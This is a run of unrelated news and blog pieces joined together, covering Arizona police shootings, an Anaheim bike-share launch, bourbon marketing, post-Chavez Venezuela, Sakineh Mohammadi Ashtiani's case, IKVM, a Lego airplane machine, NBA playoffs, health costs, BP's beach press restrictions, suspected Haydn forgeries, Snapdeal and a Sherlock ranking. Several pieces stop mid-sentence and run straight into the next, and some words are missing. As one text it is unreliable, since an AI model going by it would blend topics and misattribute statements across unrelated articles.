No one saw Trisoliere with a weapon, nor would they, according to reports from the shooting, but everyone involved believed he had a gun and was willing to use it. So, the Mesa police detective, fearful that Trisoliere would shoot a weapon no one had seen, fired a single shot.
Investigators learned later that Trisoliere had a pistol with him in the truck, with a single, unfired bullet in the chamber, according to police reports.
‘Militarization of police’
In contrast, patrol officers responding to domestic-violence calls or conducting traffic stops are armed with scant information available from a dispatcher and the equipment on their belts and in their cars.
But whether officers have months to work up a dossier on a suspect or are reacting to threats that present themselves at a moment’s notice, police are better equipped now than ever before, a trend critics have labeled as the “militarization of the police.”
The term could easily be based on visual cues the public takes when they see armored vehicles executing search warrants and officers with ballistic vests and semiautomatic rifles surrounding cars and homes, Hershey said, but those are part of the safety precautions many agencies employ to ensure everyone goes home alive.
“It’s just safer,” he said. “If we would have had those tools 20 years ago, we would have used them.”
The emphasis on equipment and training has spread into more esoteric areas, as well, that police hope can be used to de-escalate situations and prevent use of force.
Phoenix police, for example, coordinate several annual critical-incident training sessions for local, state and federal officers across Arizona, where they engage in role-playing activities and interact with former suspects with mental illness who share stories of how officers who try to communicate with them can cut through the chaos to help avoid violent encounters.
But the dozens of officers who successfully complete that training each year are a fraction of the 13,000 sworn police working statewide, many of whom rely too frequently on the tools in their belts to solve problems, said Joel Robbins, a Phoenix attorney who has represented families in wrongful-death lawsuits against law-enforcement agencies in Arizona.
“If an officer’s life is truly in danger, he has a right to use a gun in order to protect his family and protect his life,” Robbins said.
“But I think that there’s been overall a militarization of the police where they’re no longer perceived as citizens who have a gun to keep the peace; they seem to be warriors in a war against crime,” Robbins said. “They don’t really help people to deal with problems by talking and taking time. They tend to get solved more quickly with bullets, which is not how policing was designed to be.”
The public response
There has been little public outcry related to the police shootings this year in the Valley.
Trisoliere’s shooting in Apache Junction generated some outrage from residents of a nearby trailer park whose homes were struck by some of the 76 bullets agents shot that afternoon, but there was little reaction to the death of a 33-year-old with a dozen prior arrests.
Trent Trisoliere said police were so focused on his brother’s reputation and statements he might have made about dying before he went back to jail that he never had a chance to survive his truck ride on April 20.
“Travis wouldn’t hurt anybody — he would hurt himself, but he’d never hurt anyone else,” he said.
“If you look at his history, he never hurt anybody. He’s a druggie, he stole stuff, but he wasn’t a violent person.”
The case that could have the biggest impact on the way local agencies respond to police shootings involves a West Valley incident that garnered little attention and left an officer with a gunshot wound to the face.
Police said R.T. McGinty, 27, was riding his bicycle near Third Street and Rose Lane in Avondale on a Saturday afternoon in September when two officers approached him and McGinty began firing. McGinty, who was released from prison in March after a forgery conviction, fired a bullet into an officer’s face before another Avondale police officer shot and killed McGinty, police said.
Following the shooting, Ervin Cutright, president of the Northwest Black History Committee, and six other people met with Avondale’s mayor, city manager and acting police chief, who agreed to explore the idea of forming a public-safety citizens review board, among other measures.
Cutright said the meeting highlighted steps both sides can take to ease tensions between police and members of the community.
“One of the things I talked about was we need to teach kids how to talk to police,” Cutright said.
“It’s our responsibility as parents and citizens to teach these kids how to confront police officers. The police are trained — our kids are not trained.”ANAHEIM – This city, like the rest of Southern California, is built around the car culture – its streets packed with motorists whizzing from one place to the next.
But the owners of Bike Nation see a future where an increasing number of bicyclists will share those roads.
With swelling gas prices, and people thinking more about energy efficiency and health, “We see a cultural shift coming and we want to help lead the way,” said Derek Fretheim, an Irvine resident and chief operating officer of Tustin-based Bike Nation.
He and company co-founders Navin Narang and Brad Barlow, both O.C. residents, are so confident that more commuters want to jump on bikes to get around that they are sinking at least $1.6 million into launching an automated bike-sharing program this summer in Anaheim.
The city supports the idea and will allow kiosks to go up on city property but will not pay any of the cost.
The program will allow locals and tourists – ages 18 and older – to rent bikes for short commutes.
Bike Nation chose to launch in Anaheim because of its dense population and huge number of tourists and convention-goers.
The initial phase will include 100 bikes that can be ridden between at least five stations set up at such stops as the Metrolink station next to Angel Stadium, the Civic Center and the Convention Center.
Negotiations are underway for additional kiosks, on private property such as Anaheim GardenWalk and hotels near Disneyland.
“We want to start in our own backyard, then look at other opportunities for expanding,” Fretheim said.
The program had been set to launch in June in Anaheim, but that was pushed back as last-minute details are being ironed out. It is expected to launch later this summer.
Bike Nation also has inked a deal to operate 400 kiosks and 4,000 bikes in Los Angeles by the end of the year.
Some locals love the idea.
“If you’ve got stations set up throughout the city, it makes perfect sense to hop on a bike to get around town,” said Darryl Stackhouse, 38, an Anaheim resident. “But I think it’ll need to be at more locations to get locals really thinking about using it on a regular basis.”
Denise Farrell, 24, who works in Downtown Anaheim, said she’s doubtful that bicycling will catch on.
“It’s sort of like how people talk about eating right, but they end up eating doughnuts,” she said. “People say they want to walk and ride a bike, but we are addicted to our cars.”
Here’s how the program works:
•Riders must be 18 because, as of now, no helmets are supplied (and state law requires minors to wear helmets.)
•They must buy a membership for various time periods: $6 a day to $75 a year.
•At the unmanned kiosk, the user unlocks the bike with a credit card.
•Users pay a fee on top of the membership fee: The first 30 minutes are free; 30 to 60 minutes costs $1.50; 61 to 90 minutes, $4.50; and $6 for each additional 30 minutes.
•Bikes can be dropped off at any of the kiosks.
Bike Nation officials have been tweaking the design of the bikes, which include:
•Airless, solid tires to prevent flats and lower maintenance costs.
•A cargo basket up front for purses, bags or grocery items.
•A step-through frame to make riding easy for males or females, designed for those 4-feet, 10-inches tall up to 6-feet-10-inches tall.
•Three gears and hand brakes.
•Reflective paint coating on the bike frames and the cargo baskets up front for increased safety.
In Anaheim, 10 staff members will maintain the bikes and make sure there is a “balance of bikes” at each of the kiosks. Fretheim said many of the details will be worked out during the yearlong pilot program.
The company hopes to expand to Orange and Garden Grove as soon as possible and increase the number of bikes to 11,000 in up to 10 communities by the end of 2013, Fretheim said.
“We’re learning to walk before we can run,” he said. “But we are looking to grow quickly and get a lot of people thinking about getting around on a bike.”
Contact the writer: 714-704-3769 or ecarpenter@ocregister.comOld Rip Van Winkle Distillery
I knew that bourbon had reached a different place in America when I went to a bar in my neighborhood the other week and tried to order my favorite kind. They didn’t have it. So, spotting a bottle of George Dickel, I said I would take that. “Sure,” the bartender said somewhat dismissively. “But Dickel isn’t bourbon. It’s sour-mash whiskey.”
Bourbon, you see, has come of age, and not in the barrel so much as the marketplace. It’s a strange thing to say about a product that is hundreds of years old and hardwired into the American mind, but that’s exactly what’s been the problem all along. We have all pretty much taken it for granted. Now, as my pedantic server helped show me, that’s no longer the case. Every well-informed drinker is expected to know what is and isn’t bourbon. (Short version: the drink, which takes its name from the county in Kentucky where it was first produced, has to be 51% corn and aged a long time in charred oak barrels.) Drinkers ought to know one brand from another too. Top bars like Seven Grand in L.A. and restaurants like Miami’s Yardbird feature immense, imposing bourbon menus like the one at Chicago’s Longman & Eagle, which includes many bottlings from obscure distillers no one outside the Bluegrass State has ever heard of. Bourbon, in a relatively brief and recent span, has become one of the world’s elite spirits and is given the attention and respect typically accorded European imports like XO cognac, premium rums and single-malt Scotch.
(MORE: Read about the rise of bourbon’s micro-distilleries)
Part of this rise owes to just how good bourbon is: the best bourbons have an amazingly complex amalgam of smoke and oak and sweetness and heat. And part of the fascination comes from some long-overdue marketing efforts. “If you take top-quality product,” says cocktail historian Dave Wondrich, “and add the magic combination of clever, we’re-not-marketing-this marketing, high price and limited supply, American whiskey can stand on the same shelf as the world’s other great luxury spirits. The only wonder is that it took this long.” The limited supply is key: a first-rate bourbon typically has to be aged for at least eight to 10 years, the very best ones 18 years or more. That’s a long time to make a bottle that can get emptied in a night if you’re not careful. And most of the stuff that old was put into oak casks back when demand was relatively small. According to one Kentucky news source, the number of bourbon barrels in stock has grown 115% since 1990, when inventories reached a record low.
“We are trying to play catch-up now,” says Julian Van Winkle, whose grandfather launched the Pappy Van Winkle brand in a Kentucky distillery; its influential connoisseurs, like chef Sean Brock, have helped make it today’s most sought-after bourbon. (A 23-year-old bottle is being offered on Craigslist for $695 and eBay for $699.) “Over the last few years, we have increased sales by 200 to 300 cases,” he says, adding, “[but] only because we had those barrels available.”
(MORE: See why Ozersky thinks now is the “platinum age of mixology.”)
For admirers like Brock, it’s not just the incredible flavor of the best Pappy bottles; it’s the whole artisanal ethos behind them that seems to exist outside the marketplace, even if it actually doesn’t. Says Brock, approvingly: “The Van Winkles could easily change their business plan to accommodate the insane demand for their product, get rich and retire. They aren’t in the whiskey business for those reasons.” Brock, himself a hero to the culinary world for his well-articulated commitment to craft and tradition, is a natural ally for the Van Winkles. But not every chef gets to be Sean Brock, and not every bourbon gets the kind of brand apotheosis Pappy Van Winkle has enjoyed.
I would say it’s a better testament to how far bourbon has come that there are dozens of obscure brands that are beginning to sell and be appreciated by increasingly |
chalice. The reason: Hugo Chavez leaves the Venezuelan economy in tatters.
Chavez exercised power, and fed his popularity at home and his ascendency abroad, by distributing Venezuela's wealth as a function of his megalomaniac agenda and interests. Such course of action might have been sustainable if, simultaneously, he had not brought his country's production capacity near collapse.
With an inflation reaching 25 percent and a skyrocketing government debt (10 times higher than before the Chavez years), a sharp devaluation of the national currency, the bolivar, is just a matter of time. Expropriations and price controls have crippled the non-oil sector. Venezuela imports today 70 percent of the foodstuffs consumed, as compared to 30 percent before Chavez took power. The productivity of the oil industry has dwindled, forcing Venezuela, the country with the largest proven oil reserves in the world, to import gasoline from neighboring Colombia.
Sooner or later, the acting president, Nicolas Maduro, will have to adopt politically unpalatable measures and reassess the prodigality of his boss vis-à-vis foreign allies.
Under these circumstances, Diosdado Cabello may not have had his last word. He may, instead, lie in ambush, waiting to profit from the inevitable fall of Maduro's lackluster popularity and the irruption of street protests against the unpopular measures to come.
One of the key strengths of Mr. Maduro, namely the support of the Castro brothers, may in time become a fateful millstone. Maduro may feel politically obliged to show his gratitude to the Cuban regime by maintaining the astronomic financial assistance provided by Hugo Chavez to that regime. But when the upcoming devaluation and austerity measures begin to hit wallets and living standards in Venezuela, the wasteful financial aid to Cuba may be a tough thing to get past the Venezuelan public.
What's more, Venezuela's military cannot but resent Cuba's influence in their country. They are not ready to forget that one of their high-ranking colleagues, Raul Baduel, a former defense minister and close friend of Chavez, was sentenced to a 7-year jail term after Fidel Castro told Chavez, on the basis of information gathered by Cuban intelligence services operating in Venezuela, not to trust him. Little wonder that Diosdado Cabello, a former member of the armed forces, has rarely traveled to Havana. More generally, the military can hardly feel at ease with an acting president, Mr. Maduro, who has built his power with the support and help of the intrusive Cuban regime.
What makes the looming Maduro-Cabello brawl still more explosive is the fact that the opposition does not have sufficient political and military weight to effectively thwart in the near term the clout of Chavism in Venezuelan politics. Had it had such weight, the two Chavist factions would have had an objective interest in putting aside their differences and colluding. But with an opposition with little or no chance to prevail on its own in the short run, Chavists may engage at leisure in an internecine struggle without fearing that a third party (the opposition) could sweep up power at their expense.
The discontents within the ranks of Chavism (Cabello et al.) may, however, be tempted to enter, whether explicitly or in a veiled manner, into a tactical alliance with the opposition. In such a case, although too weak to secure power by itself, the opposition would play a crucial backup role in return for a wider political space -- or even for a slice of government in post-Chavez Venezuela.Exclusive: Sakineh Mohammadi Ashtiani accuses authorities in Tehran of lying about charges in attempt to execute her in secret
In an exclusive interview with the Guardian, the woman whose sentence of death by stoning triggered an international outcry has accused the Iranian authorities of lying about the charges against her to pave the way to execute her in secret.
Sakineh Mohammadi Ashtiani, 43, was sentenced to death by stoning for adultery but it was commuted to hanging after an international outcry. Her initial sentence was for "having an illicit relationship outside marriage" but Iranian officials have claimed that she was also found guilty of murdering her husband and should still face death by stoning.
In the interview, which took place through an intermediary who cannot be named for security reasons, she said: "They're lying. They are embarrassed by the international attention on my case and they are desperately trying to distract attention and confuse the media so that they can kill me in secret."
Yesterday, Mossadegh Kahnemoui, a senior Iranian judicial official, told the UN's Committee on the Elimination of Racial Discrimination: "This lady, in addition to double adultery, is also found guilty of conspiracy to murder her husband."
Mohammadi Ashtiani said: "I was found guilty of adultery and was acquitted of murder, but the man who actually killed my husband was identified and imprisoned but he is not sentenced to death."
The accused, who has not been named, is not facing execution because Mohammadi Ashtiani's son pardoned him, but she was sentenced to death after a local prosecutor in Tabriz accused her of adultery.
"The answer is quite simple, it's because I'm a woman, it's because they think they can do anything to women in this country. It's because for them adultery is worse than murder – but not all kinds of adultery: an adulterous man might not even be imprisoned but an adulterous women is the end of the world for them. It's because I'm in a country where its women do not have the right to divorce their husbands and are deprived of their basic rights."
Mohammadi Ashtiani also revealed that at the moment the sentence was passed she did not understand the Arabic word used as the legal term for stoning.
"When the judge handed down my sentence, I even didn't realise I'm supposed to be stoned to death because I didn't know what 'rajam' means. They asked me to sign my sentence which I did, then I went back to the prison and my cellmates told me that I was going to be stoned to death and I instantly fainted."
Mohammadi Ashtiani fears that the exile of her original lawyer, Mohammad Mostafaei, has made her more vulnerable. "They wanted to get rid of my lawyer so that they can easily accuse me of whatever they want without having him to speak out. If it was not for his attempts, I would have been stoned to death by now."
Mostafaei volunteered to represent her for free and succeeded in bringing her case to world attention but fled to Turkey when Iranian authorities issued an arrest warrant for him. His wife is being held without charge in Tehran's notorious Evin prison.
Mostafaei, who was arrested on immigration charges in Istanbul, was released today and is on his way to Norway.
Describing life inside Tabriz prison, Mohammadi Ashtiani said she has been subject to constant mistreatment by prison guards. "Their words, the way they see me – an adulterous woman who should be stoned to death – is just like being stoned to death every day."
She thanked campaigners for highlighting her case and said international pressure was her only hope for release. "For all these years, they [the officials] have tried to put something in my mind, to convince me that I'm an adulterous woman, an irresponsible mother, a criminal but with the international support, once again I'm finding myself, my innocent self."
She pleaded: "Don't let them stone me in front of my son."
Twelve women and three men have also been sentenced to death by stoning in Iran.In last week’s development snapshot, IKVM added experimental support for static methods in interfaces and default interfaces methods. These Java 8 features are primarily to support the internal workings of Java libraries. Jeroen Frijters isn’t expecting to have a good interopt story when it comes to mixing these features with other.NET languages.
Static methods in interfaces are just what they sound like, fully implemented static methods stored within an interface’s namespace instead of a class. They were proposed as part of Project Coin.
Default interfaces methods allow Java developers to treat abstract interfaces as if they were abstract base classes. The default methods are overridable like other interface methods, but can be added without a causing breaking change to the interface. Unlike extension methods, which are a purely language concept, default interface methods require runtime support.Your browser does not support HTML5 video tag.Click here to view original GIF
We’ve covered Arthur Sacek’s brilliant Lego creations before, but none have been as wonderfully complicated as this machine that turns a single piece of paper into a folded airplane. The contraption even launches the plane at the end of the assembly line, sending it off on its maiden test flight.
Sacek was hired by Elevation Digital Media in collaboration with Arrow Electronics to design and build this autonomous paper airplane factory, which is controlled by multiple Lego Mindstorms intelligent bricks, and quite a bit of custom code. It’s not the first Lego paper airplane machine we’ve seen, but Sacek’s design looks far more streamlined and reliable.
Arrow Electronics has also posted a behind-the-scenes video showing how parts of the paper airplane folding machine were designed and assembled. But it’s unfortunately not a thorough step-by-step guide, so you can forget about trying to follow along in order to build one for yourself.
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[YouTube via The Awesomer]
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1. RAPTORS VS. BUCKS (Game 5): If I had to pick one key for the Raptors tonight it would be their offensive execution and conversion rate. The best overall game the Raptors played offensively was in Game 2 with 24 assists and only 12 turnovers while making 14 three-point shots. The offence was fluid, unselfish and sharp. After seeing the Bucks in person for eight games this season it's pretty obvious to me that they feast off of turnovers and poor shots and turn them into wonderful transition opportunities. When you play at a high level against their defence, the Bucks are forced to have to go back on offence against your set defence and they're a lot more guardable and scoutable. Look at the second half for Toronto in Game 4 -- they only committed two turnovers and the execution was better which limited the Bucks’ runouts. In order to win two more games against a very tough opponent this component is vital. By the way, it would also be nice for the Raptors’ crowd to get a lot crazier. Compared to Games 3 and 4 in Milwaukee the Raptors’ playoff crowd in Games 1 and 2 have been late arriving for the start of games and the third quarter. They’ve been underwhelming when naturally reacting to the game unless prompted to do so. Usually, the crowds are awesome but haven't been this postseason. That has to change.
2. JOE INGLES (Utah Jazz): I had a scout say to me last season about him, “Just really watch him -- he'll grow on you.” I couldn't agree more. Every time I watch him I admire how he just fits as that fifth guy on the floor for the Jazz -- he's sound. Last night Ingles was terrific against the Clippers with eight points, six rebounds and 11 assists. The 29-year-old makes all the smart and steady plays and he’s a really nice teammate to have, always looking to compliment and play off his teammates’ talents. Ingles is an undrafted player who has developed quite well.
3. MIKE CONLEY (Memphis Grizzlies): The Grizzlies’ point guard had an outstanding game in the team’s OT win over the San Antonio Spurs on Saturday night with 35 points, nine rebounds and eight assists. Kawhi Leonard was equally brilliant for the Spurs with 43 points. Conley was so difficult for the Spurs to guard at the point. He changes pace and gets to the rim with ease and can make all the different shots with great creativity. He's a tough matchup for the Spurs that must be solved in Game 5. In addition, head coach David Fizdale calls out the referees after Game 2 in San Antonio, takes the fine and no doubt gets a better whistle in the next two games. Sometimes -- most times -- you call them out and put them on notice and you get a more balanced view of the actual events on the floor rather than the anticipation calls based upon who the “better” team is supposed to be.
4. GERALD GREEN (Boston Celtics): Loved the move by head coach Brad Stevens to get more athletic, mobile and defensive inserting Green into his starting lineup. He was superb on Sunday with 18 points and seven rebounds versus the Chicago Bulls as the Celtics knotted the series up 2-2. I'm a huge Amir Johnson fan. With that being said, I feel the pace of play in this series has to be accelerated and the move makes complete sense. Just like Dwane Casey's move with Norman Powell in Game 4 for the Raptors to go one big and four smalls, this is adjusting to what needs to help you fix what ails you in a series.
Kevin Durant
I feel for him. Kerr is a class act and excellent coach. Hopefully he's able to return to the bench at some point during the playoffs as he's been through a lot physically of late. Obviously, gettingand co. healthy and on the court is paramount to their success, but Kerr has a nice feel for his roster that subtly keeps everyone connected properly. He's an impact coach and it’s not as easy as it looks to manage lots of talent and egos. Kerr gets everyone to buy in and keeps it real, yet in a nice way. Fingers crossed he gets well.The Affordable Care Act generally requires patients to be responsible for more of their bills — copays and deductibles — so they will become more price-savvy medical consumers. But the deck is stacked against them in a system where doctors and hospitals are not required or expected to provide upfront pricing. Why not? They should tell and patients should ask. (In France, before a hip replacement on a private patient, doctors must sign a contract that includes a price.)
And policy makers need to address two of the biggest drivers of our inflated national health care bill: the astronomical price of hospitalizations and particularly end-of-life care.
Obamacare plans cap an individual’s annual out-of-pocket spending at $6,350 a year. That (happily) prevents bankruptcy, but it also means that patients will still not be very discerning shoppers when it comes to major hospitalizations, since — in the United States — they’ve quite likely surpassed their out of pocket maximum by the time they’ve been formally admitted.
On the private side, some companies and employee health plans are experimenting with new payment models to limit these large bills. They may follow Medicare, which offers hospitals bundled payments for given procedures, or try a technique known as reference pricing, in which they pick a rate they think is fair for a procedure — say $32,000 for a knee replacement, all-inclusive. If a patient wants to go to a hospital with higher fees, the difference comes out of his pocket.
To rein in price increases, companies and insurers have begun offering patients narrower networks, already a major gripe about many Obamacare plans.
And as choices narrow while prices rise, I sense that many patients are no longer so devoted to a market-based health care system. Barbara Felton, 86, was “shocked” when she saw her $12,000 itemized hospital bill for a recent brief stay to repair a fractured femur in Pocatello, Idaho. “I’ve never been in favor of a single payer before, but now I am,” she said, referring to a government-run health system.
The perfect recipe for containing medical costs remains to be written and must be tweaked thoughtfully. After all, the American health care system is a major part of the economy. As Dr. Blumenthal, the former Obama adviser, put it: “If you put our health care system on an island and floated it out into the Atlantic it would have the fifth-largest G.D.P. in the world. It’s like saying you have to change the economy of France.”
But after a year spent hearing from hundreds of patients like Mr. Abrahams, Mr. Landman and Mr. Miller, I know, too, that reforming the nation’s $2.9 trillion health system is urgent, and will not be accomplished with delicate maneuvers at the margins. There are many further interventions that we know will help contain costs and rein in prices. And we’d better start making choices fast.Despite the fact that National Incident Commander Thad Allen and BP Chief Operating Officer Doug Suttles have publicly stipulated that the media is to have access to the areas affected by the Gulf oil spill, as well as the workers who are laboring to clean up the beaches, an overall media clampdown continues.
This weekend, WDSU reporter Scott Walker got the full court press from BP’s onsite supervisor, leading to this perplexing and infuriating exchange that takes place in the video above.
BP OFFICIAL: Every single security guard here has given instructions to every single news crew: you can be outside of a hundred yards of the workers on the boom.
WALKER: And who’s saying that? Because no one can tell me, unless you are the Jefferson Parish Sheriff’s Office, you are the Coast Guard, or you’re the military, can you tell me where to go on this public beach.
BP OFFICIAL: I can tell you where to go because I am employed to keep this beach safe. And right now, those are my instructions. I have to keep the workers safe as well.
WALKER: I am going to go and try to talk to a worker under the tent, can I do that?
BP OFFICIAL: No, no.
WALKER: He’s on a break.
BP OFFICIAL: You are not allowed to interview any workers.
WALKER: The workers can talk to the media according to the BP CEO two days ago. The word still hasn’t trickled down to you all yet?
SECOND BP OFFICIAL: We already heard that one, too.
WALKER: What do you mean you’ve heard that one? It’s true.
BP OFFICIAL: The email did not explicitly give you permission to do that.
WALKER: There are quotes from Doug Suttles that say no one had been barred access to talk to the media, and that it’s a misunderstanding and that the word hasn’t trickled down to all the appropriate channels yet. That’s what he said two days ago. So two days later, that still hasn’t trickled down.
BP OFFICIAL: It’s been briefed to us…
WALKER: By whom? Who’s briefing you all?
BP OFFICIAL: That’s not important right now.
What? Do these guys think they have Jedi mind powers or something?
Walker argues his case further, and later in the clip, does attempt to interview the workers in the break tent. Those workers are subsequently instructed by the second BP beach cop on how to refuse an interview and, en masse, they decline to be interviewed.
WDSU goes on to cite Suttles’s statement, released to area media outlets: “Recent media reports have suggested that individuals involved in the clean up operation have been prohibited from speaking to the media, and this is simply untrue.”
But who are you going to believe? Doug Suttles or your lyin’ eyes?
via Huffington Post
PREVIOUSLY, on the HUFFINGTON POST:
ABC Reporter Hassled By BP: Days After Thad Allen Directed Open Access, Media Clampdown ContinuesTHOUGH MUSICOLOGY HAS never been the science it sometimes claims to be, there is nothing like good hard data -- for example, a newly discovered work by a great master -- to turn the cautious scholar into a drooling maniac. Good data relieve us of the onerous burden of having to be clever; ornate interpretations, subtle deconstructions and Byzantine turns of academic prose are unnecessary when you have the Real Thing. Yet a risk is always involved; if you wait until the matter is absolutely verified, it may be old news, and you may have to go back to being merely another clever scholar. On the other hand, moving too quickly can have unhappy results; as Ms. Badura-Skoda kept saying, "It's a little embarrassing."
In some ways this is all reminiscent of the cold fusion debacle that occurred when B. Stanley Pons, Martin Fleischmann and, to a certain extent, the entire state of Utah promised the world a cheap, clean energy source. A little more experimentation and some honest self-examination would have made it obvious that the initially promising results were murky at best. Gary Taubes, in his book "Bad Science," reveals what happens when scientists get caught up in the frenzy of secrecy, competition and anxiety associated with a major discovery. They usually forget the first mandate of scientific investigation, which, in the words of the noted physicist Richard Feynman, is that "you must not fool yourself, and you are the easiest person to fool."
Yet the issues of forgery and undue anticipation by scholars, though not without interest, are only a small part of this story. Most scholars I've spoken to insist that the sonatas are forgeries. When I ask how they know, the answer is always the same: the quality of the sources is suspicious, ergo they're fakes. But what about the quality of the music?
This is the most delightful aspect of the whole debacle. Not a single musician or scholar is willing to say for sure whether, on the basis of the score alone, these pieces are by Haydn. Our musical culture prides itself on considering superstar composers leagues above their "mediocre" contemporaries; yet no one has taken a stand and offered either analytic proof or convincing intuition as to the derivation of these pieces. Nor has anybody raised the potent question: if someone can write pieces that can be mistaken for Haydn, what is so special about Haydn?
What it comes down to is this: unless there is something in the music that couldn't be by Haydn (like five measures of Joplin or Schoenberg), we have no tools, theoretical or otherwise, for proving the case either way.
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Here is how it all might go: Critic A decides that the sonatas cannot be by Haydn because Haydn never does things in such a way. Critic B responds that since Haydn is an original thinker, he is capable of doing something unusual at any time; that is the "hallmark of his genius." Critic C finds the pieces unconvincingly dull and figures, therefore, that they could not possibly have been penned by Haydn. Critic D counters: "Well, Haydn can have a bad day, too. Besides, I find the finales fascinating."
To add even more spice, these sonatas were supposedly written during Haydn's experimental Storm and Stress period. Any particularly nutty moments can therefore be dismissed (or praised) by Critic E as "typical of the kind of exaggerated effect associated with the instrumental works of this period in Haydn's oeuvre." Having first-rate "unattributed" forgeries around forces us to acknowledge how much of our prose about music amounts to self-parody.
The whole matter throws our notions of esthetics into a tizzy. The phenomenon in question might be called the baby-picture principle. If we are shown a snapshot of a friend as an infant, it is almost always possible to see resemblance; indeed, the adult in question usually seems to be the inevitable realization of the image. If, however, we are shown an unattributed baby picture and asked, on the basis of the photo, to predict its appearance in 20 years, the task appears impossible.
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Knowing that a work is by Haydn or Mozart allows us to see "inevitable" connections. Take away the certainty of authorship, and it's devilishly difficult to read the musical images within.
Under the impression that these piano sonatas were composed by Haydn, Mr. Badura-Skoda fell in love with them. Perhaps his glum demeanor in Santa Barbara, and his refusal to play the last movement of one of the sonatas after playing the first two reflect the sadness of a jilted lover who is told, when the affair ends, "I never loved you; I was faking the whole time."
But Mr. Badura-Skoda's love for these sonatas was real, and from the little I heard of them, the works seemed quite lovable. Still, even if Mr. Badura-Skoda goes ahead with plans to record them, the sonatas, like most such disgraced compositions when shorn of the great composer's name, will probably disappear from sight quickly. Conventional wisdom says that if they are forgeries, they are somehow unworthy of being loved, but conventional wisdom says a lot of silly things.
Perhaps we need to give more weight to understanding the esthetic impulse and less to fetishizing the authenticated objects of that impulse. What we might call "identified great art" may be likelier to elicit our attention, curiosity and love than works outside that category. Yet once evoked, our responses cannot be considered false.
One can be deeply moved by the compositions of one's children or by the very moments in Salieri's operas that Mozart must have detested. One can also love what Noel Coward called "those cheap popular tunes," and one can love fake Haydn sonatas, maybe even more than the real ones.A village in India has decided to rename itself and henceforth be known as Snapdeal.com Nagar (which means town). Snapdeal.com being an online couponing company that recently raised $12 million and has the lead over Groupon in India in the local ecommerce space.
So what gives? This isn’t exactly the first time anything like this has happened (mostly for cheap publicity scoring reasons), but the story behind it I think is unique and worth sharing.
Snapdeal has adopted a remote village in India and enabled clean drinking water facilities for its people by installing manual pumps. To show their gratitude, the village’s residents have decided to rename their village to Snapdeal.com Nagar, actually taking the company by surprise.
Snapdeal.com CEO Kunal Bahl tells me the goal has always been to build a socially responsible organization, and that the decision to provide clean drinking water for the village came from a conversation with one of its 500 employees in the hallways.
This person mentioned that his family lives near a cluster of villages where the locals have to walk over a kilometer every day and stand in line just for clean water, so Bahl figured they should explore if they couldn’t easily and cost-effectively solve their problem.
Bahl is refreshingly modest about what happened next, too:
We honestly did something very simple – didn’t even cost that much – and installed 15 hand pumps, which now enable clean water within a distance of 50 meters for all the residents of the village. We must have spent a total of $5000 on getting this and the really cool part about this is that these 15 hand pumps will give clean water to the villagers for the next 15-20 years!
The decision to rename their village Snapdeal.com Nagar, Bahl says, was not only a gesture of appreciation from the residents but also a sort of demonstration against the local governance and administration, for their lack of care and competence.
Bahl also explained that they’ll be doing a lot more over the next few years for the community in this village, such as upgrading facilities in the local school and hospital.
In another testament of his humility, Bahl concludes:There’s a shocking number of people who still haven’t managed to see, or even hear about, BBC’s Sherlock. Now that the series has come to it’s end (for now), it’s time to reflect on it’s good and great moments throughout the years. Hopefully, we’ll get a chance to get some people to check out the absolutely stunning series. Let’s get started.
Note: The original list had 11 and 10 swapped, but upon reviewing the Six Thatchers, I realized that episode was actually quite a bit worse than I previously thought.
Also, a shout out to the 3 YEARS between season 3 and 4. Thanks a lot BBC.
13. The Abominable Bride (Special)
While Sherlock’s “worst” moments are still highly enjoyable, the special had to come in last. It was refreshing, which helped with the huge break between seasons 3 and 4, but it took the show out of it’s established time period. A massive part of the appeal of the modern Sherlock show is, well, the modern part.
The abominable bride still had some fascinating moments, certainly Moriarty’s return being one, but it simply does not match up to its competition.
Another lowlight for me was the finale. That, coupled with the constant warping between time periods, and that the entire episode was a drugged up dream concocted by Sherlock made it feel almost like a waste.
12. The Blind Banker (S1:E2)
The position of this episode may fall in part to the fact that it followed up one of the shows best moments with “A Study in Pink”, (spoiler alert, you won’t see that one on the list for a while) but it committed one of the cardinal sins of television – being forgettable.
Following my first experience with Sherlock I was ecstatic to continue and see what adventures and mysteries were in store, only to be slightly let down by the second episode of the first season. It wasn’t bad by any means – none of Sherlock is – but it was just not as spectacular. I honestly can’t remember all that much about it, which is why it places so low on the list.
11. The Six Thatchers (S4:E1)
Following a three year hiatus, fans were desperate to see the continuation of the series, and unfortunately it was somewhat disappointing. Again, to reiterate, it is by no means a bad piece of television, it just is not remotely up to the standard of the remaining episodes. I will say, for me personally, this is the last episode on this list where I felt disappointed. The remaining 9 picks are all close in vying for the top spot.
Mary’s death at the end didn’t feel earned or particularly impactful, especially because it was Sherlock’s own arrogance that was partially responsible. Additionally, John’s “infidelity” was simply a distraction from what made the show fun to watch – the mysteries.
10. Hounds of Baskerville (S2:E2)
It’s a shame that one of Sherlock Holmes most iconic cases was somewhat underwhelming. Most of this comes down to the predictability of the case – something that wasn’t as fun to decode.
What I mean by that is, in many of the Sherlock episodes, viewers spend a long time trying to piece together the mystery. And then, when it finally clicks, if it does, it is a cathartic experience. A perfect example, is again, back to the first episode of the show. The discovery that it was a taxi driver made perfect sense, and could logically happen. The pieces of the mystery were all available to the viewer.
Some sort of gassed drug was my first guess concerning the Hounds of Baskerville, right after the episode started, and it wasn’t particularly enjoyable to find out that I was right.
Now, let’s move on to where the show really took off for me.
9. The Final Problem (S4:E3)
Although many didn’t particularly love this episode, and I understand why, it felt like a thrilling journey that concluded the series effectively. Although there were some weaker moments, like the unnecessary call to Molly to add artificial drama to a show that already had plenty, it was overall an exciting journey.
Some found the darkness and “Saw”-like nature of the episode to not particularly fit in with the rest of the series, but when you consider the preceding episode, it is not too far off. The previous episode had similarly dark moments, albeit slightly less morbid, but the series was undoubtedly supposed to be leading up to this climax.
It is perfectly reasonable to dislike this episode, but it worked for me. Perhaps that’s partially due to my affinity for horror movies, which it clearly took inspiration from.
Additionally, it is also worth noting the parallels with batman in this episode. This is an understandable critique, though Batman was largely inspired by Sherlock Holmes in the first place, so borrowing back and forth would likely occur inherently due to the overlaps of the characters.
8. The Empty Hearse (S3:E1)
This is where Sherlock’s humor began to take a front seat for a large part of the episodes, and I’d be lying if said it didn’t work wonders for me. Seeing Benedict Cumberbatch dress up as a waiter and attempt his best french accent was a sight I didn’t think I needed to see, but was quickly assured that I did.
There’s honestly not much to say about this episode. Overall, it’s a middle of the pack episode with a moderately interesting mystery, and Sherlock being Sherlock.
